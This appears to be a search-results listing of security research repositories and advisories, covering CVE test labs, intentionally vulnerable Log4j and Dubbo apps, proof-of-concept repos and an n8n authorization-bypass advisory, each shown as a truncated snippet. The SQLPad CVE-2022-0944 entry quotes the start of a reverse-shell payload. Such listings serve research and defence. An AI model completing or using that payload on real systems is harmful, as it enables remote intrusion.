HTTP-2-RapidReset-CVE-2023-44487-Testlab

This repo is the source code of my docker lab, made for my thesis research...

compromised-action

compromised-action Test repo: simulates CVE-2025-30066 style compromised GitHub Action for security research/testing chainradar...

cve-2021-3007-vulnerable

CVE-2021-3007 Vulnerable Test Environment Intentionally vulnerable test environment for validating CVE-2021-3007 detection in security scanners. Vulnerability Overview Attribute| Value ---|--- CVE ID| CVE-2021-3007 Severity| Critical CVSS 9.8 Type| Insecure Deserialization → RCE Affected| Laminas...

SOC-L1-OSINT-Investigation-MikroTik-CVE-2018-1156

SOC L1 Threat Investigation: MikroTik RouterOS Multiple Exposed Services Analyst: Jonatan Alexander Guerrero Gomez | Role Target: SOC L1 / Jr. Cybersecurity Analyst Status: Investigation Closed | Severity: High Executive Summary Proactive threat hunting exercise indentifying a public-facing...

SignChecker

SignChecker Test tool to demonstrate the vulnerability of CVE-2022-21449...

log4j2-vulnerable-spring-app

Тестовое приложение Log4j 2 CVE-2021-44228 Основано на spring-boot-starter-log4j2:2.6.1 log4j 2.14.1 Доступные эндпоинты Интерфейс| Метод запроса| Параметры ---|---|--- vulnerablerequestget| GET| v=payload vulnerablerequestpost| POST| v=payload vulnerablerequestheaderua| GET / POST| Заголовок...

CVE-2020-27194-exp

CVE-2020-27194-exp test...

Dubbo-CVE-2020-1948

Apache Dubbo CVE-2020-1948 Test Environment Introduction When this vulnerability first emerged, in order to verify its impact, we searched the internet for many examples compiled by others, but found none that could successfully validate it. So we created one ourselves and put it here for your...

CVE-2022-0944

CVE-2022-0944 PoC PoC for RCE in SQLPad. This example spawns a reverse shell, but the payload can be modified to run any command available by changing the command in the 'exec' call within the payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...

CVE-2017-12542

CVE-2017-12542 Test and exploit for CVE-2017-12542...

Fix-CVE-2017-1000117

Test repository to check Git's vulnerability CVE-2017-1000117, and try to upgrade git version. $ git clone --recursive https://github.com/shogo82148/Fix-CVE-2017-1000117.git The repository is inspired by https://github.com/greymd/CVE-2017-1000117 . To make sure that your git is safe, please clone...

CVE-2017-1000117_wasawasa

Test repository to check Git's vulnerability CVE-2017-1000117 How it works? Clone this repository recursively. $ git clone --recursive https://github.com/sasairc/CVE-2017-1000117wasawasa.git Original greymd/CVE-2017-1000117...

CVE-2025-13834-A-Bluetooth-RFCOMM-Out-of-Bounds-Read-Vulnerability-in-Modern-Wireless-Devices

= doi.org/10.5281/zenodo.18323302 = orcid.org/0009-0007-7728-256X README.md: CVE-2025-13834 RFCOMM Bluetooth "Heartbleed" Exploitation Framework Author: Sastra Adi Wiguna Purple Elite Teaming Date: January 20, 2026 Version: 1.0 Full-System Replication License: RED TEAM USE ONLY Do not distribute...

vuln_spring_log4j2

vulnspringlog4j2 Уязвимое Spring-приложение для тестирования log4j2 CVE-2021-44228 Версия Java: 1.8 Версия Spring Boot: 2.4.0 Версия Spring Core: 5.3.1 Версия Log4j: 2.13.3 Burp Лог...

CVE-2026-103252

n8n versions before 1.123.80, from 2.0.0 before 2.39.6, and from 2.40.0 before 2.40.1 contain an authorization bypass vulnerability in the credential test endpoint that resolves project-scoped variables without validating caller access. Attackers can specify an arbitrary project ID in the request...

Malwarebytes earns another Top Product award in independent testing

Every few months, Malwarebytes gets a chance to test its mettle against real-world threats in an independent laboratory setting. And the latest round of results gives us plenty to celebrate. Malwarebytes earned a perfect 18 out of 18 and received another Top Product award from AV-TEST. We also...

CVE-2026-103252 n8n before 1.123.80, 2.39.6, and 2.40.1 Information Disclosure via Credential Test Endpoint

n8n versions before 1.123.80, from 2.0.0 before 2.39.6, and from 2.40.0 before 2.40.1 contain an authorization bypass vulnerability in the credential test endpoint that resolves project-scoped variables without validating caller access. Attackers can specify an arbitrary project ID in the request...

CVE-2026-103252 n8n before 1.123.80, 2.39.6, and 2.40.1 Information Disclosure via Credential Test Endpoint

n8n versions before 1.123.80, from 2.0.0 before 2.39.6, and from 2.40.0 before 2.40.1 contain an authorization bypass vulnerability in the credential test endpoint that resolves project-scoped variables without validating caller access. Attackers can specify an arbitrary project ID in the request...

CVE-2026-103252

Versions of n8n prior to 1.123.80, 2.39.6, and 2.40.1 are vulnerable to an authorization bypass in the credential test endpoint . The root cause is the resolution of project-scoped variables without validating caller access. An attacker can provide an arbitrary project ID in the request body to i...

EUVD-2026-90646

n8n versions before 1.123.80, from 2.0.0 before 2.39.6, and from 2.40.0 before 2.40.1 contain an authorization bypass vulnerability in the credential test endpoint that resolves project-scoped variables without validating caller access. Attackers can specify an arbitrary project ID in the request...